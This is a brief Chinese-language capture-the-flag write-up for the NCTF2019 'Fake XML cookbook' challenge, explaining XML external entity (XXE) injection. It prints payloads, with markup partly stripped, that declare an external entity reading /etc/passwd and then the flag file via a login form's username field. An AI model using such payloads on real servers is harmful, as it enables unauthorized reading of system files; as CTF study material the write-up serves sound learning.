[NCTF2019]Fake XML cookbook

知识点

• xml实体注入

题目提示XML，可知为XXE攻击，原理参考https://www.freebuf.com/vuls/175451.html

简要来讲就是客户端向服务器发送了XML数据，这个数据能被我们控制，这样我们就可以增加一个恶意的外部实体，实现攻击

先抓包

 

这里看到username和password都是xml格式，接下来增加我们自己的恶意实体，读取/etc/passwd文件

 

DOCTYPE note [
  SYSTEM "file:///etc/passwd">
  ]>
&admin;123456

 

 读取flag

 

DOCTYPE note [
  SYSTEM "file:///flag">
  ]>
&admin;123456